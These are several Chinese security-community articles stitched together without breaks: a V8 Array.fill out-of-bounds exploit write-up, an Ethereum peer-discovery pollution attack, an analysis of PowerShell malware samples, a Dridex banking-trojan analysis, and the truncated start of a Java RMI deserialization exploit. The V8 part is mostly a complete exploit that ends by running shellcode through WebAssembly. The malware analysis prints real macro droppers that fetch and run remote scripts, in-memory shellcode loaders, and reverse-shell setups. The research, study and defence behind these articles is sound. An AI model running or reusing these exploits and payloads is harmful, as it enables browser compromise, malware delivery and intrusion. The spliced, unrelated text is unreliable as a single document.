Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
array->set_length(length);
return array;
}
那么我们该如何将负数传递给`NewFixedDoubleArray`呢？我们可以使用`ArrayPrototypeFill`。`ArrayPrototypeFill`在`v8/src/builtins/builtins-array.cc`文件中，其首先会获取最初的数组长度，并使用该长度来对`start`和`end`进行限制。但是在调用`GetRelativeIndex`方法的时候可能会触发用户自定义的JS函数，该自定义函数可能会修改长度，这个行为通常来说可能会导致`OOB`。
// v8/src/builtins/builtins-array.cc
BUILTIN(ArrayPrototypeFill) {
[...]
// 2. Let len be ? ToLength(? Get(O, "length")).
double length;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, length, GetLengthProperty(isolate, receiver)); // **here**
// 3. Let relativeStart be ? ToInteger(start).
// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
// else let k be min(relativeStart, len).
Handle<Object> start = args.atOrUndefined(isolate, 2);
double start_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***here***
// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
Handle<Object> end = args.atOrUndefined(isolate, 3);
double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length)); // ***here***
[...]
if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
end_index)) {
接下来会走到`FastElementsAccessor::FillImp`，它在`v8/src/elements.cc`文件中，其会检查`end`是否大于`capacity`,如果是则调用`GrowCapacityAndConvertImpl`函数进行扩容，而该函数又可能会调用`NewFixedDoubleArray`函数。这里的问题在于并没有检查`end`转为有符号数后是否会变成负数，所以我们可以通过将`end`设为诸如`0x80000000`的数字来将负数传递给`NewFixedDoubleArray`，从而导致`OOB`。
// v8/src/elements.cc
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) {
// Ensure indexes are within array bounds
DCHECK_LE(0, start);
DCHECK_LE(start, end);
// Make sure COW arrays are copied.
if (IsSmiOrObjectElementsKind(Subclass::kind())) {
JSObject::EnsureWritableFastElements(receiver);
}
// Make sure we have enough space.
uint32_t capacity =
Subclass::GetCapacityImpl(*receiver, receiver->elements());
if (end > capacity) {
Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***here***
CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
}
## 漏洞利用
首先配置`V8`环境，然后还原回漏洞`patch`前的git分支并编译
git reset --hard dd68954
gclient sync
./tools/dev/gm.py x64.release
编译完成后使用`gdb`进行调试，开启`--allow-natives-syntax`
gdb ./d8
pwndbg> set args --allow-natives-syntax ./exp.js
pwndbg> r
按照上面所说的的方法，编写出测试代码
array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
array.length = 0x100;
array.fill(1.1);
return 0x80000000;
}});
let a = new Array(0x12345678,0);
let ab = new ArrayBuffer(8);
%DebugPrint(array);
%DebugPrint(a);
%DebugPrint(ab);
%SystemBreak();
运行之后可以得到`array,a,ab`的地址
打印`array`的内存并找到`array->elements`的地址
打印`array->elements`的内存，可以发现`array->elements`已经和`a`,`a->elements`以及`ab`的内存区域重叠了，放两张对比图
正常情况：
触发漏洞情况：
那么这就造成了`OOB`
接下来通过`a`来构造`addressOf`原语
let idx = arr.indexOf(i2f(0x1234567800000000n));
function addressOf(obj)
{
a[0] = obj;
return f2i(arr[idx]);
}
然后通过修改`ab`的`backstore指针`来`任意地址读写`
let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1;
function arb_read(addr)
{
arr[backstore_ptr_idx] = i2f(addr);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true))
}
function arb_write(addr,data)
{
arr[backstore_ptr_idx] = i2f(addr);
let ua = new Uint8Array(ab);
ua.set(data);
}
最后`WASM`一把梭即可
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addressOf(wasmInstance) - 1n;
console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x108n);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));
const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}
f();
结果
## EXP
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}
array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
array.length = 0x100;
array.fill(1.1);
return 0x80000000;
}});
let a = new Array(0x12345678,0);
let ab = new ArrayBuffer(8);
let idx = arr.indexOf(i2f(0x1234567800000000n));
function addressOf(obj)
{
a[0] = obj;
return f2i(arr[idx]);
}
let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1;
function arb_read(addr)
{
arr[backstore_ptr_idx] = i2f(addr);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true))
}
function arb_write(addr,data)
{
arr[backstore_ptr_idx] = i2f(addr);
let ua = new Uint8Array(ab);
ua.set(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addressOf(wasmInstance) - 1n;
console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x108n);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));
const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}
f();
## Reference
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1793>
<https://github.com/Geluchat/chrome_v8_exploit/blob/master/1793.js> | 社区文章 |
**作者：慢雾安全团队
公众号：[慢雾科技](https://mp.weixin.qq.com/s/UmricgYGUakAlZTb0ihqdw "慢雾科技")**
当我们谈论区块链时，总是离不开这些技术：分布式存储、P2P 网络和共识机制，本次我们要谈的问题就是出现在 P2P 对等网络协议上。
异形攻击实际上是一个所有公链都可能面临的问题，我们用以太坊为例子说明。以太坊的 P2P 网络主要采用了 Kademlia (简称 Kad )
算法实现，Kad 是一种分布式哈希表( DHT )技术，使用该技术，可以实现在分布式环境下快速而又准确地路由、定位数据的问题。
## 什么是异形攻击？
首先，我们先定义一个同类链的概念，是指使用了和其它区块链相同或兼容协议的区块链系统。
异形攻击又称地址池污染，是指诱使同类链的节点互相侵入和污染的一种攻击手法，漏洞的主要原因是同类链系统在通信协议上没有对非同类节点做识别。
以太坊异形攻击是指，以太坊同类链（具体的说是使用以太坊 P2P discv4
节点发现协议的公链，包括以太坊、以太经典）由于使用了兼容的握手协议，无法区分节点是否属于同个链，导致地址池互相污染，节点通信性能下降，最终造成节点阻塞的一种攻击方式。
### 1\. 正常的节点发现过程
以太坊同类链节点间通过 4 个 UDP 通信协议来完成节点发现，消息结构如下：
* [1] ping: 探测一个节点是否在线
ping struct {
Version uint
From, To rpcEndpoint
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [2] pong: 响应 Ping 命令
pong struct {
To rpcEndpoint
ReplyTok []byte
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [3] findnode: 查找与 Target 节点异或距离最近的其他节点
findnode struct {
Target NodeID
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [4] neighbors: 响应 FindNode 命令，会返回一或多个节点
neighbors struct {
Nodes []rpcNode
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
### 2\. 攻击过程
#### 准备工作：收集以太坊节点地址
我们找到了社区制作的一个地址库：
<https://github.com/smartheye/EthStaticNodesTool/blob/master/MainNet/static-nodes.txt>
#### 第一步：发起恶意握手。
攻击者 A 模拟整个握手过程，主动发起 ping 操作，并利用协议的第4步
neighbors，将返回的邻居表修改成我们收集到的以太坊节点地址，推送给受害节点 B（B 是一个以太坊同类链节点）。由于单次通信只能推送 16
个地址，我们需要多次推送以达到攻击效果。
#### 第二步：污染地址池。
B 收到大量 A 返回的邻居表，尝试跟这些节点握手，并将这些节点加入了自己的地址池（俗称 K 桶）。
#### 第三步：污染自动扩散。
让人意外的是，不同链的节点居然互相握手成功了，更为可怕的是，它们把各自地址池里已知的节点推送给了对方，导致更多的节点互相污染，最终扩散致整个网络。
### 漏洞危害
* 受异形攻击的同类链节点无法找到真正可用的节点，无法建立 TCP 数据同步通道，导致节点被攻击离线。
* 对于矿池或者出块节点，异形攻击可能导致广播延迟甚至失败，造成收益损失。
* 异形攻击可以使所有以太坊同类链地址池相互污染，导致节点通信效率全面下降，对整个区块链系统造成长久的伤害。
### 影响范围
我们对知名公链 QuarkChain 进行安全审计时发现，QuarkChain
的节点在遭受异形攻击后，节点性能严重下降，外部节点需要很长时间才能与受害节点建立连接。QuarkChain 团队随后修复了该问题。
理论上所有使用了以太坊 discv4 协议的区块链都可能受此漏洞影响，在发起测试后的一段时间，我们观测到 EtherNode
的监测节点也已经被污染了，污染的扩散速度似乎比想象中的要快。
也许，以太坊需要来一次清洗。
* * *
### 后记
1、 此漏洞对以太坊是否有影响？
以太坊的节点数量远大于其它同类链节点，并且节点间已经建立了稳定的连接，影响不明显。但对于其它的同类链节点，却会受到来自以太坊节点的强势侵入，导致通信阻塞。
2、 很多朋友关心除了以太坊之外，其它的公链是否有此问题，比如比特币和它的山寨币，比如使用了 libp2p 协议的公链，这些问题我们将在后续文章中披露！
十分感谢 QuarkChain 团队大力协助本次测试！
* * * | 社区文章 |
# Powershell恶意代码的N种姿势
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**引言**
人在做,天在看。
技术从来都是中性的,被用来行善还是作恶完全取决于运用它的人。原子能可以用来发电为大众提供清洁能源,也可以用来制造能毁灭全人类的核武器,这不是一个完善的世界,于是我们既有核电站也有了核武器。
Powershell,曾经Windows系统管理员的称手工具,在恶意代码制造和传播者手里也被玩得花样百出。由于Powershell的可执行框架部分是系统的组件不可能被查杀,而驱动它的脚本是非PE的而非常难以通过静态方法判定恶意性,同时脚本可以非常小巧而在系统底层的支持下功能却可以非常强大,这使利用Powershell的恶意代码绕过常规的病毒防护对系统为所欲为。因此,360天眼实验室近期看到此类恶意代码泛滥成灾就毫不奇怪,事实上,我们甚至看到所跟踪的APT团伙也开始转向Powershell。
本文我们向大家展示一些看到的实际恶意代码的例子。
**实例分析**
这里我们基于360威胁情报中心的数据,对接触到的Powershell恶意代码按分类各举一例。
**勒索软件**
我们知道现在勒索软件以其直接的变现方式现在已成为黑产的宠儿,像雨后春笋那样冒出来的勒索软件中,我们看到了使用纯Powershell脚本实现的例子。
样本MD5:ea7775da99367ac89f70f2a95c7f8e8e
这是一个通过Word文档中嵌入宏以诱导执行的勒索软件,使用工具提取出其中的宏,内容如下:
* "vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://rxlawyer.in/file.php','%TEMP%Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub
宏的功能是下载http://rxlawyer.in/file.php到本地的temp目录下,并用Powershell运行这个文件。而下载回来的file.php本质上是一个ps的脚本文件,MD5为:dd180477d6a0bb6ce3c29344546ebdfc
。
勒索者脚本的实现原理是:通过随机生成加密密钥与用户ID,将加密密钥与用户ID信息上传到服务器进行备份,在用户机器上使用对称算法将用户的文档进行加密。因为密钥为随机生成,除非拥有攻击者服务器上备份的密钥,否则很难将被加密的文档进行还原。
脚本的原貌为:
可见,脚本做了混淆处理,简单处理以后归纳出的脚本主要执行过程如下:
1.生成三个随机数,分别表示加密密钥、加密用的盐、UUID
把上面生成随机数发送到服务器中保存
2.用随机数生成加密容器
3.得到磁盘中的所有的指定后缀的文件
调用Get-PSDrive,得到所有文件名
$folder= gdr|where {$_.Free}|Sort-Object -Descending
4.加密这些文件的前2048个字节后写回文件
5.解码Base64得到提示勒索的html文件
在html文件的尾部添加上赎回密钥用的UUID及当前时间
**渗透测试**
此类样本大多使用网络上的nishang开源工具包生成的攻击文件。攻击文件以Word、Excel、CHM、LNK等格式的文件为载体,嵌入Payload,实现获得反弹Shell等功能,实现对系统的控制。
样本MD5:929d104ae3f02129bbf9fa3c5cb8f7a1
文件打开后,会显示文件损坏,用来迷惑用户,Word中的宏却悄然运行了。
宏的内容为:
Sub AutoOpen()
Dim x
x = "powershell -window hidden -enc JAAxACA[……]APQA” _
& "wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"
Shell ("POWERSHELL.EXE " & x)
Dim title As String
title = "Critical Microsoft Office Error"
Dim msg As String
Dim intResponse As Integer
msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
将宏中的字符串,用Base64解码后,得到内容如下:
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}
将其中的shellcode提取出来进行分析得知,这段shellcode的主要功能是反向连接内网IP 192.168.1.30的4444端口。
另一个与上述样本有着类似功能的样本的MD5为:1e39753fd56f17010ac62b1d84b5e650
从文件中提取出来的宏为:
而这四个函数对应的功能分别为
lExecute:
用Powershell下载invoke-shellcode.ps后,通过invoke-shellcode函数调用指定Payload
windows/meterpreter/reverse_https 建立反弹shell,反弹的地址为98.100.108.133,端口为443
其中部分代码为:
lPersist:
将Powershell建立反弹Shell的功能用VBS实现后,保存在C:UsersPublic10-D.vbs文件中
lReg
新建HKCUSoftwareMicrosoftWindows
NTCurrentVersionWindowsLoad注册表,值指定为C:UsersPublic10-D.vbs
lStart
调用C:UsersPublic10-D.vbs
而有时,为了抵抗杀毒软件的追杀,样本通常会进行Base64编码。
MD5:c49ee3fb4897dd1cdab1d0ae4fe55988
下面为提取出来的宏内容,可见代码使用了Base64编码:
· "vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim
Command As String Dim str As String Dim exec As String Arch =
Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64"
Then Command = windir + "syswow64windowspowershellv1.0powershell.exe" Else
Command = "powershell.exe" End If str =
"nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str +
"6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw=="
exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and
""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
解码后的内容为:
$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr
lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP
arameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %
0x100 -eq 92)}
function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum
$d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object
Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in
$k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m =
New-Object System.Net.WebClient;
$m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows
NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://192.168.0.105:4444/$n
" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions
-passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p,
0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
脚本的功能是通过g函数随机生成四位的字符,从内网网址下载后加载执行[https://192.168.0.105:4444/xxxx](https://192.168.0.105:4444/xxxx)
(其中xxxx为随机四位字符)
这里连接的是192.168.0.105为内网IP,此样本很可能是渗透者进行内网渗透攻击的测试样本。此类样本还有很多:
leae0906f98568c5fb25b2bb32b1dbed7
l1a42671ce3b2701956ba49718c9e118e
l496ed16e636203fa0eadbcdc182b0e85
使用LNK文件,建立反弹shell的样本
**流量欺骗**
为了快速提升网站流量、Alexa排名、淘宝网店访问量、博客人气、每日访问IP、PV、UV等,有些网站站长会采取非常规的引流方法,采用软件在后台模拟人正常访问网页的点击动作而达到提升流量的目的。
样本MD5:5f8dc4db8a658b7ba185c2f038f3f075
文档打开后里面只有“test by c”这几个文字
提取出文档中的宏中的加密字符解密后得到可读的ps脚本如下
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}
可见,ps脚本的主要功能就是执行Shellcode,这段Shellcode的功能就是调用wininet.dll中的函数进行连接138.128.196.84地址的443端口。而138.128.196.84地址正为流量宝类的软件用的地址。
**探测控制**
样本对通过宏调用Powershell下载PE文件在受影响的系统上检查是否为关心的目标并执行进一步地操作,具备针对性攻击的特点。
样本MD5:fba6b329876533f28d317e60fe53c8d3
从样本中抽取出的宏主要是根据系统版本下载相应的文件执行
Sub AutoOpen()
x1 = "Download"
h = "Str"
o = "power" & "shell" & ".exe"
Const HIDDEN_WINDOW = 0
strComputer = "."
abcdef = h & "ing"
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\" & strComputer & "rootcimv2:Win32_Process")
objProcess.Create o & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID
其中的对应32位系统的cache文件的内容如下:
我们对Shellcode进行简单分析:
1\. 在内存中解密,生成一个PE文件,在内存中展开跳到入口点处执行,将PE文件的.BSS区段进行解码,解码算法如下:
解密后的结果为:
2.判断是不是64位系统
判断虚拟机
3\. 用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍历IE临时文件目录 ,用于判断用户是否是攻击者的目标用户
4.计算用户和电脑信息的HASH
随后B03938处创建线程进行下面的动作
判断ipconfig -all 命令中是否有.edu、school、hospital、colledge、health、nurse等字符串
调用cmd /C ""ipconfig -all >
C:DOCUME~1yyyyyLOCALS~1Tempxxxx.TMP(xxx代表随机数)生成文件,检测.edu、school、hospital、colledge、health、nurse等字符串
5\. 遍历系统中的进程,检测有否指定hash的进程正在运行,
从IE缓存中查找用户是不是访问过这些网址:
通过WININET.FindFirstUrlCacheEntryW WININET.FindNextUrlCacheEntryW
WININET.FindCloseUrlCache
得到net view命令返回值中是否有pos、store、shop、sale等字符串
发送用户信息,并下载相对应的恶意程序:
其中,用这种手法的恶意样本还有如下:
样本HASH
|
系统版本
|
下载地址
---|---|---
f0483b9cfb8deb7ff97962b30fc779ad
|
32位
|
https://github.com/flowsdem/found/raw/master/rost
64位
|
https://github.com/flowsdem/found/raw/master/virst
fba6b329876533f28d317e60fe53c8d3
|
32位
|
http://rabbitons.pw/cache
64位
|
http://rabbitons.pw/css
62967bf585eef49f065bac233b506b36
|
32位
|
https://github.com/minifl147/flue/raw/master/memo
64位
|
https://github.com/minifl147/flue/raw/master/adv
**信息搜集**
样本中的宏代码下载执行信息收集类的Powershell脚本,很可能是某些针对性攻击的前导。
样本MD5:f7c3c7df2e7761eceff991bf457ed5b9
提取出来的宏代码为:
下载一个名为Get-Info-2.ps1的脚本,脚本功能是将本机的IP地址、domainname、username、usbid等发送到远端服务器中。
**总结**
天眼实验室再次提醒用户,此类恶意软件主要依赖通过微软的Office文档传播,用户应该确保宏不默认启用,提防任何来自不受信任来源的文件,当打开文件系统提示要使用宏时务必慎重。同时要尽量选用可靠的安全软件进行防范,如无必要不要关闭安全软件,当发现系统出现异常情况,应及时查杀木马,尽可能避免各类恶意代码的骚扰。
**参考资料**
l<http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml>
l<https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/>
l<https://www.10dsecurity.com/> | 社区文章 |
# 一封钓鱼邮件带来著名的Dridex银行木马最新变种
##### 译文声明
本文是翻译文章，文章原作者 CyberThreatAnalyst，文章来源：CyberThreatAnalyst
原文地址：<https://mp.weixin.qq.com/s/Fl9KTxTSUDyZVJOu-fDqxQ>
译文仅供参考，具体内容表达以及含义原文为准。
Dridex是一款著名的银行木马，主要窃取受害者网上银行凭证，此银行木马主要通过钓鱼邮件定向发送钓鱼邮件给受害者，欺骗受害者打开邮件中的附件文档，感染银行木马，盗取相关信息，在2015年，Dridex造成的损失就超过4000万美元，此银行木马非常活跃，背后的运营团队也在不断更新的技术，改进Payload加载方载逃避各种安全软件的检测，使其变的越来越复杂，去年1月份，FacePoint团队的安全研究人员发现Dridex还扩大了感染链，通过FTP网站进行传播……
最近国外安全研究人员，发现此银行木马更新了，最新变种通过钓鱼邮件进行传播，邮件内容，如下所示：
附件中有一个加密的doc文档，文档密码为：pass170619，打开文档，里面包含恶意的宏代码，如下所示：
执行恶意宏代码，在TEMP目录释放XLS文件，然后通过WMIC启动恶意XLS文件，如下所示：
XSL恶意程序从服务器下载Dirdex银行木马安装程序到TEMP目录，如下所示:
恶意服务器URL，如下所示：
hxxps://tor2net.com/udfgh87898df87gdfug89df/servicewn.exe
银行木马安装程序核心功能剖析
1.解密执行到ShellCode代码处，如下所示：
2.获取VirtualAlloc函数地址，分配相应的内存空间，如下所示：
3.然后调用解密函数，解密出银行木马安装程序核心Payload，如下所示：
解密出来的Payload，如下所示：
4.最后跳转到Payload代码，执行Payload，安装银行木马，如下所示：
5.安装过程代码，如下所示：
此Dirdex银行木马变种，主要利用白加黑的方式加载Payload，以逃避安全软件的检测，并将白程序设置为计划任务自启动项，如下所示：
设置为主机自启动项目，如下所示：
生成的相应白加黑文件目录，如下所示：
通过正常程序加载同目录下的恶意DLL文件，执行银行木马主体功能，如下所示：
最近几年银行木马非常流行，一款流行的银行木马都会造成客户数亿美元的损失，前段时间银行大盗Carbanak木马源代码被泄露，这款银行木马曾盗取10亿+美元，随着勒索病毒的暴利，有些银行木马还成了其它恶意软件的渠道分销商，通过银行木马下载传播勒索病毒，此前TrickBot、Emotet两款银行木马渠道都曾传播过勒索病毒，笔者曾经详细分析过多款银行木马样本,包含：TrickBot、Emotet、Ursnif、Redaman、IcedID等，发现最近Ursnif(Gozi)银行木马也非常活跃，现已捕获到了最新一个样本，下篇再分享给大家
样本下载地址：
<https://www.malware-traffic-analysis.net/2019/06/18/index.html>
本文转自：[CyberThreatAnalyst](https://mp.weixin.qq.com/s/Fl9KTxTSUDyZVJOu-fDqxQ) | 社区文章 |
这篇文章主要用于学习 RMI 的反序列化利用的流程原理，在网上搜了一大堆的 RMI
利用资料，大多仅仅是讲的利用方法，没有找到到底为啥能这么用，即使有些涉及到一些原理的文章，也写得过于高端了....看不大懂，只能自己去跟一根整个利用流程，请各位大佬轻喷....
* * *
### 网上流传的基于报错回显的 payload
先抛出 rmi 反序列化的exp
本地：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
